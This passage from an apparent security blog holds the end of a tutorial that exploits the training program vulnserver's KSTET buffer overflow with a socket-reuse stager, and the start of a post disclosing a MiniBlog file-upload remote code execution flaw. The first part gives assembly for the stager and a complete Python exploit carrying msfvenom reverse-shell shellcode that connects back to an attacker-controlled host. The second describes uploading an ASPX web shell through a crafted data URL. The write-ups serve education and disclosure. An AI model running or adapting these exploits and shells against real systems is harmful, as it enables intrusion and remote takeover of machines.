At this point in time, <code class="language-plaintext highlighter-rouge">$ebp-420</code> is <code class="language-plaintext highlighter-rouge">0x011DFB50</code>.</p> <p>If we now allow execution to continue until we hit the breakpoint at our NOP sled and then follow this address through in either the dump tab or stack view, we can see that the value is still there.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0017.jpg" alt="" /></p> <p><em>Note: the socket file descriptor is now 120, rather than 128, this can and will change; hence why we need to dynamically retrieve it</em></p> <p>As the address that the socket is stored in can [and will] change, we need to calculate the distance to the current address from <code class="language-plaintext highlighter-rouge">$esp</code>. By doing this, we will not have to hard code any addresses, and can instead calculate dynamically the address that the socket is stored in.</p> <p>To do this, we just take the current address of the socket (<code class="language-plaintext highlighter-rouge">0x011DFB50</code>) and subtract the address that <code class="language-plaintext highlighter-rouge">$esp</code> is pointing at (<code class="language-plaintext highlighter-rouge">0x011DF9C8</code>), which leaves us with a value of <code class="language-plaintext highlighter-rouge">0x188</code>, meaning the socket can be found at <code class="language-plaintext highlighter-rouge">$esp+0x188</code>.</p> <h2 id="writing-the-socket-stager">Writing the Socket Stager</h2> <p>Now we have all the information we need to actually get to writing the stager! The first thing we should do, whilst it is fresh in mind, is grab a copy of the socket we found and store it in a register so we have quick access to it.</p> <p>To construct the stager, we will write the instructions in place in the 70 byte NOP sled within x64dbg. Whilst doing this, we will need to jump through some small hoops to avoid instructions that would introduce null bytes.</p> <p>First, we need to push <code class="language-plaintext highlighter-rouge">$esp</code> on to the stack and pop it back into a register - this will give us a pointer to the top of the stack that we can safely manipulate. To do this, we will add the instructions:</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">push</span> <span class="nb">esp</span> <span class="nf">pop</span> <span class="nb">eax</span> </code></pre></div></div> <p>Next, we need to increase the <code class="language-plaintext highlighter-rouge">$eax</code> register by <code class="language-plaintext highlighter-rouge">0x188</code> bytes. As adding this value directly to the <code class="language-plaintext highlighter-rouge">$eax</code> register would introduce several null bytes, we instead need to add <code class="language-plaintext highlighter-rouge">0x188</code> to the <code class="language-plaintext highlighter-rouge">$ax</code> register (if this doesn’t make sense, lookup how the registers can be broken up into smaller registers).</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">add</span> <span class="nb">ax</span><span class="p">,</span> <span class="mh">0x188</span> </code></pre></div></div> <p><strong>Note: when entering the commands interactively, it is important to enter values as illustrated above. If you were to enter the command <code class="language-plaintext highlighter-rouge">add ax, 188</code>, it would assume you’re entering a decimal value and automatically convert it to hex. Prefixing with <code class="language-plaintext highlighter-rouge">0x</code> will ensure it is handled as a hexadecimal value.</strong></p> <p>We identified in the previous section that the socket was found to be <code class="language-plaintext highlighter-rouge">0x188</code> bytes away from <code class="language-plaintext highlighter-rouge">$esp</code>. As <code class="language-plaintext highlighter-rouge">$eax</code> is pointing to the same address as <code class="language-plaintext highlighter-rouge">$esp</code>, if we add <code class="language-plaintext highlighter-rouge">0x188</code> to it, we will then have a valid pointer to the address that is storing the socket!</p> <p>If we now step through this, we will see that <code class="language-plaintext highlighter-rouge">$eax</code> now has a pointer to the socket (<code class="language-plaintext highlighter-rouge">120</code>) found at <code class="language-plaintext highlighter-rouge">0x011DFB50</code>.</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0018.jpg" alt="" /></p> <p>Next, before we start to push anything onto the stack, we need to make a slight adjustment to the stack pointer. As you are probably aware, the stack pointer starts at a higher address and grows into a lower address space. As the stager we are currently running from our overflow is so close to <code class="language-plaintext highlighter-rouge">$esp</code>, if we start to push data on to the stack, we are most likely going to cause it to overwrite the stager at runtime and cause a crash.</p> <p>The solution to this is simple - we just decrease the stack pointer so that it is pointing to an address that appears at a lower address than our payload! A clearance of 100 bytes (<code class="language-plaintext highlighter-rouge">0x64</code>) is more than enough in this case, so we set the next instruction to:</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">sub</span> <span class="nb">esp</span><span class="p">,</span> <span class="mh">0x64</span> </code></pre></div></div> <p>After stepping into this instruction, we will see in the stack pane that <code class="language-plaintext highlighter-rouge">$esp</code> is pointing to an address that precedes the stager we are currently editing (the highlighted bytes in red):</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0019.jpg" alt="" /></p> <p>Now that the stack pointer is adjusted, we can begin to push all our data. First, we need to push <code class="language-plaintext highlighter-rouge">0</code> onto the stack to set the <code class="language-plaintext highlighter-rouge">flags</code> argument. As we can’t hard code a null byte, we can instead XOR a register with itself to make it equal <code class="language-plaintext highlighter-rouge">0</code> and then push that register onto the stack:</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">xor</span> <span class="nb">ebx</span><span class="p">,</span> <span class="nb">ebx</span> <span class="nf">push</span> <span class="nb">ebx</span> </code></pre></div></div> <p>The next argument is the buffer size - 1024 bytes (<code class="language-plaintext highlighter-rouge">0x400</code>) should be enough for most payloads. Once again, we have a problem with null bytes, so rather than pushing this value directly onto the stack, we need to first clear out a register and then use the <code class="language-plaintext highlighter-rouge">add</code> instruction to construct the value we want.</p> <p>As the <code class="language-plaintext highlighter-rouge">ebx</code> register is already set to <code class="language-plaintext highlighter-rouge">0</code> as a result of the previous operation, we can add <code class="language-plaintext highlighter-rouge">0x4</code> to the <code class="language-plaintext highlighter-rouge">$bh</code> register to make the <code class="language-plaintext highlighter-rouge">ebx</code> register equal <code class="language-plaintext highlighter-rouge">0x00000400</code> (again, if this doesn’t make sense, look up how registers can be split into smaller registers):</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">add</span> <span class="nb">bh</span><span class="p">,</span> <span class="mh">0x4</span> <span class="nf">push</span> <span class="nb">ebx</span> </code></pre></div></div> <p>Next, is the address where we should store the data received from the exploit. There are two ways we can do this:</p> <ol> <li>Calculate an address, push it on to the stack and then retrieve it after <code class="language-plaintext highlighter-rouge">recv</code> returns and <code class="language-plaintext highlighter-rouge">jmp</code> to that address</li> <li>Tell <code class="language-plaintext highlighter-rouge">recv</code> to just dump the received data directly ahead of where we are currently executing, allowing for execution to drop straight into it</li> </ol> <p>The second option is definitely the easiest and most space efficient route. To do this, we need to determine how far away <code class="language-plaintext highlighter-rouge">$esp</code> is from the end of the stager. By looking at the current stack pointer (<code class="language-plaintext highlighter-rouge">0x011df95c</code>) and the address of the last 4 bytes of the stager (<code class="language-plaintext highlighter-rouge">0x011df9c0</code>), we can determine that we are 100 bytes (<code class="language-plaintext highlighter-rouge">0x64</code>) away. We can verify this by entering the expression <code class="language-plaintext highlighter-rouge">esp+0x64</code> in the dump tab and verifying that we are taken to the final 4 NOPs:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0022.jpg" alt="" /></p> <p>With the correct calculation in hand, we will once again push <code class="language-plaintext highlighter-rouge">$esp</code> on to the stack and pop it back out into a register and then make the appropriate adjustment using the <code class="language-plaintext highlighter-rouge">add</code> instruction, before pushing it back on to the stack:</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">push</span> <span class="nb">esp</span> <span class="nf">pop</span> <span class="nb">ebx</span> <span class="nf">add</span> <span class="nb">ebx</span><span class="p">,</span> <span class="mh">0x64</span> <span class="nf">push</span> <span class="nb">ebx</span> </code></pre></div></div> <p>Finally, we have one last operation to complete our argument list on the stack, and that is to push the socket that we stored in <code class="language-plaintext highlighter-rouge">$eax</code> earlier on. As the <code class="language-plaintext highlighter-rouge">recv</code> function expects a value rather than a pointer, we need to dereference the pointer in <code class="language-plaintext highlighter-rouge">$eax</code> so that we store the value (<code class="language-plaintext highlighter-rouge">120</code>) that is in the address that <code class="language-plaintext highlighter-rouge">$eax</code> points to; rather than the address itself.</p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">push</span> <span class="kt">dword</span> <span class="nv">ptr</span> <span class="nb">ds</span><span class="p">:[</span><span class="nb">eax</span><span class="p">]</span> </code></pre></div></div> <p>If we step into this final instruction, we will now see that all our arguments are in order on the stack:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0024.jpg" alt="" /></p> <p>We are now at the final step - we just need to call <code class="language-plaintext highlighter-rouge">recv</code>. Of course, nothing is ever simple, we have another issue. The address of the <code class="language-plaintext highlighter-rouge">recv</code> function that we noted earlier starts with yet another null byte. As this null byte is found at the start of the address rather than in the middle, we can thankfully work around this easily with one of the shifting instructions.</p> <p>Rather than pushing the original value of <code class="language-plaintext highlighter-rouge">0x0040252C</code>, we will instead store <code class="language-plaintext highlighter-rouge">0x40252c90</code> in <code class="language-plaintext highlighter-rouge">$eax</code> (note that we have shifted everything 1 byte to the left and added <code class="language-plaintext highlighter-rouge">90</code> to the end). We will then use the <code class="language-plaintext highlighter-rouge">shr</code> instruction to shift the value to the right by 8 bits, which will result in the last byte (<code class="language-plaintext highlighter-rouge">90</code>) being removed, and a new null byte appearing before <code class="language-plaintext highlighter-rouge">40</code>, leaving us with the original value of <code class="language-plaintext highlighter-rouge">0x0040252C</code> in <code class="language-plaintext highlighter-rouge">$eax</code>, which we can then call with <code class="language-plaintext highlighter-rouge">call eax</code></p> <div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x40252C90</span> <span class="nf">shr</span> <span class="nb">eax</span><span class="p">,</span> <span class="mi">8</span> <span class="nf">call</span> <span class="nb">eax</span> </code></pre></div></div> <p>If we now continue execution and pause at the <code class="language-plaintext highlighter-rouge">call</code> instruction, we can see that <code class="language-plaintext highlighter-rouge">$eax</code> is pointing at <code class="language-plaintext highlighter-rouge">recv</code>:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0026.jpg" alt="" /></p> <p>And with that - our stager is complete! You can now grab a copy of the hex values to be added into the exploit by highlighting the newly added instructions and doing a binary copy from the context menu.</p> <h2 id="finalising-the-exploit">Finalising the Exploit</h2> <p>Now that we have the final stager shell code complete, we can place it at the start of the 70 byte NOP sled in our exploit. When doing this, we need to be sure that the island still remains at a total of 70 bytes, as to not break the overflow and to ensure that we have NOPs that will lead to the final payload.</p> <p>Additionally, we will make the exploit wait a few seconds before it sends the final payload, to ensure that our stager has executed. Although any data we send <em>should</em> still be read even if it is sent before the stager calls <code class="language-plaintext highlighter-rouge">recv</code> as a result of buffering, my personal preference is to add the sleep in to be 100% sure - feel free to experiment with this if you’d rather not include it.</p> <p>The exploit should now look like this:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span> <span class="kn">import</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="nn">time</span> <span class="n">host</span> <span class="o">=</span> <span class="s">'10.2.0.129'</span> <span class="n">port</span> <span class="o">=</span> <span class="mi">9999</span> <span class="n">stager</span> <span class="o">=</span> <span class="s">'</span><span class="se">\x54\x58\x66\x05\x88\x01\x83\xec</span><span class="s">'</span> <span class="n">stager</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x64\x33\xdb\x53\x80\xc7\x04\x53</span><span class="s">'</span> <span class="n">stager</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x54\x5b\x83\xc3\x64\x53\xff\x30</span><span class="s">'</span> <span class="n">stager</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xb8\x90\x2c\x25\x40\xc1\xe8\x08</span><span class="s">'</span> <span class="n">stager</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xff\xd0</span><span class="s">'</span> <span class="nb">buffer</span> <span class="o">=</span> <span class="s">'KSTET '</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="n">stager</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">70</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">stager</span><span class="p">))</span> <span class="c1"># nop sled to final payload </span><span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xaf\x11\x50\x62</span><span class="s">'</span> <span class="c1"># jmp esp </span><span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xeb\xb4</span><span class="s">'</span> <span class="c1"># jmp 0x0110f97e </span><span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="mi">500</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="nb">buffer</span><span class="p">)</span> <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">'</span><span class="se">\x41</span><span class="s">'</span> <span class="o">*</span> <span class="mi">1024</span><span class="p">)</span> </code></pre></div></div> <p>For illustration purposes, I have opted to send a 1024 byte payload of <code class="language-plaintext highlighter-rouge">\x41</code>, so that we can easily verify that it works as intended when debugging. If we restart <code class="language-plaintext highlighter-rouge">vulnserver.exe</code> once more and step over the <code class="language-plaintext highlighter-rouge">recv</code> call in the stager code, we can see that the 1024 bytes of <code class="language-plaintext highlighter-rouge">0x41</code> are received and are placed at the end of our NOP sled - which will be subsequently executed:</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/0027.jpg" alt="" /></p> <h2 id="adding-a-payload">Adding a Payload</h2> <p>With the exploit now finished, we can replace the 1024 bytes of <code class="language-plaintext highlighter-rouge">0x41</code> with an actual payload generated using msfvenom and give it a test run!</p> <p><img src="/assets/images/2019-06-21-using-socket-reuse-to-exploit-vulnserver/exploit.jpg" alt="" /></p> <p>Below is the final exploit using the <code class="language-plaintext highlighter-rouge">windows/shell_reverse_tcp</code> payload from msfvenom:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span> <span class="kn">import</span> <span class="nn">socket</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="kn">import</span> <span class="nn">time</span> <span class="n">host</span> <span class="o">=</span> <span class="s">'10.2.0.129'</span> <span class="n">port</span> <span class="o">=</span> <span class="mi">9999</span> <span class="c1"># Payload generated with: msfvenom -p windows/shell_reverse_tcp LHOST=10.2.0.130 LPORT=4444 -f python -v payload </span><span class="n">payload</span> <span class="o">=</span> <span class="s">""</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x02</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x00\x82\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0</span><span class="s">"</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5</span><span class="s">"</span> <span class="n">stager</span> <span class="o">=</span> <span class="s">'</span><span class="se">\x54\x58\x66\x05\x88\x01\x83\xec</span><span class="s">'</span> <span class="n">stager</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x64\x33\xdb\x53\x80\xc7\x04\x53</span><span class="s">'</span> <span class="n">stager</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x54\x5b\x83\xc3\x64\x53\xff\x30</span><span class="s">'</span> <span class="n">stager</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xb8\x90\x2c\x25\x40\xc1\xe8\x08</span><span class="s">'</span> <span class="n">stager</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xff\xd0</span><span class="s">'</span> <span class="nb">buffer</span> <span class="o">=</span> <span class="s">'KSTET '</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="n">stager</span> <span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">70</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">stager</span><span class="p">))</span> <span class="c1"># nop sled to final payload </span><span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xaf\x11\x50\x62</span><span class="s">'</span> <span class="c1"># jmp esp </span><span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\xeb\xb4</span><span class="s">'</span> <span class="c1"># jmp 0x0110f97e </span><span class="nb">buffer</span> <span class="o">+=</span> <span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="mi">500</span> <span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="n">host</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span> <span class="k">print</span> <span class="s">'[*] Connected to target'</span> <span class="n">s</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="nb">buffer</span><span class="p">)</span> <span class="k">print</span> <span class="s">'[*] Sent stager, waiting 5 seconds...'</span> <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="n">s</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1024</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)))</span> <span class="k">print</span> <span class="s">'[*] Sent payload'</span> <span class="n">s</span><span class="p">.</span><span class="n">close</span><span class="p">()</span> </code></pre></div></div> Fri, 21 Jun 2019 00:00:00 +0000 MiniBlog Remote Code Execution /miniblog-remote-code-execution/ /miniblog-remote-code-execution/ <p>During a review of the MiniBlog project, a Windows based blogging package, I observed an interesting piece of functionality. With most WYSIWYG editors that support images, it’s common to see the images embedded in the markup that is generated, rather than uploaded to the web server. The images are embedded into the markup by using <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">Data URLs</a> in the <code class="language-plaintext highlighter-rouge">img</code> elements.</p> <p>An example of this can be seen in the inspector of the screenshot below:</p> <p><img src="/assets/images/2019-03-16-miniblog-remote-code-execution/editor-img-element.png" alt="" /></p> <p>At this point, nothing looked particularly strange. However, upon saving the post and inspecting the same image again, a data URL was no longer being used:</p> <p><img src="/assets/images/2019-03-16-miniblog-remote-code-execution/post-img-element.png" alt="" /></p> <p>As can be seen in the above screenshot, instead of an <code class="language-plaintext highlighter-rouge">img</code> element that reads:</p> <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"data:image/jpeg;base64,BASE64_CONTENT"</span><span class="nt">&gt;</span> </code></pre></div></div> <p>There was an element that had a <code class="language-plaintext highlighter-rouge">src</code> attribute referring to a file on disk:</p> <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"/posts/files/03d21a01-d1f7-4e09-a6f8-0e67f26eb50b.jpeg"</span> <span class="na">alt=</span><span class="s">""</span><span class="nt">&gt;</span> </code></pre></div></div> <p>Examining the code reveals that the post is scanned for data URLs which are subsequently decoded to disk and the corresponding pieces of markup updated to point to the newly created files:</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">void</span> <span class="nf">SaveFilesToDisk</span><span class="p">(</span><span class="n">Post</span> <span class="n">post</span><span class="p">)</span> <span class="p">{</span> <span class="k">foreach</span> <span class="p">(</span><span class="n">Match</span> <span class="n">match</span> <span class="k">in</span> <span class="n">Regex</span><span class="p">.</span><span class="nf">Matches</span><span class="p">(</span><span class="n">post</span><span class="p">.</span><span class="n">Content</span><span class="p">,</span> <span class="s">"(src|href)=\"(data:([^\"]+))\"(&gt;.*?&lt;/a&gt;)?"</span><span class="p">))</span> <span class="p">{</span> <span class="kt">string</span> <span class="n">extension</span> <span class="p">=</span> <span class="kt">string</span><span class="p">.</span><span class="n">Empty</span><span class="p">;</span> <span class="kt">string</span> <span class="n">filename</span> <span class="p">=</span> <span class="kt">string</span><span class="p">.</span><span class="n">Empty</span><span class="p">;</span> <span class="c1">// Image</span> <span class="k">if</span> <span class="p">(</span><span class="n">match</span><span class="p">.</span><span class="n">Groups</span><span class="p">[</span><span class="m">1</span><span class="p">].</span><span class="n">Value</span> <span class="p">==</span> <span class="s">"src"</span><span class="p">)</span> <span class="p">{</span> <span class="n">extension</span> <span class="p">=</span> <span class="n">Regex</span><span class="p">.</span><span class="nf">Match</span><span class="p">(</span><span class="n">match</span><span class="p">.</span><span class="n">Value</span><span class="p">,</span> <span class="s">"data:([^/]+)/([a-z]+);base64"</span><span class="p">).</span><span class="n">Groups</span><span class="p">[</span><span class="m">2</span><span class="p">].</span><span class="n">Value</span><span class="p">;</span> <span class="p">}</span> <span class="c1">// Other file type</span> <span class="k">else</span> <span class="p">{</span> <span class="c1">// Entire filename</span> <span class="n">extension</span> <span class="p">=</span> <span class="n">Regex</span><span class="p">.</span><span class="nf">Match</span><span class="p">(</span><span class="n">match</span><span class="p">.</span><span class="n">Value</span><span class="p">,</span> <span class="s">"data:([^/]+)/([a-z0-9+-.]+);base64.*\"&gt;(.*)&lt;/a&gt;"</span><span class="p">).</span><span class="n">Groups</span><span class="p">[</span><span class="m">3</span><span class="p">].</span><span class="n">Value</span><span class="p">;</span> <span class="p">}</span> <span class="kt">byte</span><span class="p">[]</span> <span class="n">bytes</span> <span class="p">=</span> <span class="nf">ConvertToBytes</span><span class="p">(</span><span class="n">match</span><span class="p">.</span><span class="n">Groups</span><span class="p">[</span><span class="m">2</span><span class="p">].</span><span class="n">Value</span><span class="p">);</span> <span class="kt">string</span> <span class="n">path</span> <span class="p">=</span> <span class="n">Blog</span><span class="p">.</span><span class="nf">SaveFileToDisk</span><span class="p">(</span><span class="n">bytes</span><span class="p">,</span> <span class="n">extension</span><span class="p">);</span> <span class="kt">string</span> <span class="k">value</span> <span class="p">=</span> <span class="kt">string</span><span class="p">.</span><span class="nf">Format</span><span class="p">(</span><span class="s">"src=\"{0}\" alt=\"\" "</span><span class="p">,</span> <span class="n">path</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span><span class="n">match</span><span class="p">.</span><span class="n">Groups</span><span class="p">[</span><span class="m">1</span><span class="p">].</span><span class="n">Value</span> <span class="p">==</span> <span class="s">"href"</span><span class="p">)</span> <span class="k">value</span> <span class="p">=</span> <span class="kt">string</span><span class="p">.</span><span class="nf">Format</span><span class="p">(</span><span class="s">"href=\"{0}\""</span><span class="p">,</span> <span class="n">path</span><span class="p">);</span> <span class="n">Match</span> <span class="n">m</span> <span class="p">=</span> <span class="n">Regex</span><span class="p">.</span><span class="nf">Match</span><span class="p">(</span><span class="n">match</span><span class="p">.</span><span class="n">Value</span><span class="p">,</span> <span class="s">"(src|href)=\"(data:([^\"]+))\""</span><span class="p">);</span> <span class="n">post</span><span class="p">.</span><span class="n">Content</span> <span class="p">=</span> <span class="n">post</span><span class="p">.</span><span class="n">Content</span><span class="p">.</span><span class="nf">Replace</span><span class="p">(</span><span class="n">m</span><span class="p">.</span><span class="n">Value</span><span class="p">,</span> <span class="k">value</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>Due to the lack of validation in this method, it is possible to exploit it in order to upload ASPX files and gain remote code execution.</p> <h2 id="crafting-a-payload">Crafting a Payload</h2> <p>In the <code class="language-plaintext highlighter-rouge">SaveFilesToDisk</code> method, there are regular expressions that extract:</p> <ul> <li>The MIME type</li> <li>The base64 content</li> </ul> <p>As MIME types will be in the form of <code class="language-plaintext highlighter-rouge">image/gif</code> and <code class="language-plaintext highlighter-rouge">image/jpeg</code>, the software uses the latter half of the MIME type as the file extension to be used. With this in mind, we can manually exploit this by creating a new post, switching the editor to markup mode (last icon in the toolbar) and including an <code class="language-plaintext highlighter-rouge">img</code> element with a MIME type in the data URL that ends in <code class="language-plaintext highlighter-rouge">aspx</code>:</p> <p><img src="/assets/images/2019-03-16-miniblog-remote-code-execution/manual-payload.png" alt="" /></p> <p>In the above screenshot, I generated the base64 data by creating an ASPX shell using <code class="language-plaintext highlighter-rouge">msfvenom</code> and encoding with <code class="language-plaintext highlighter-rouge">base64</code>:</p> 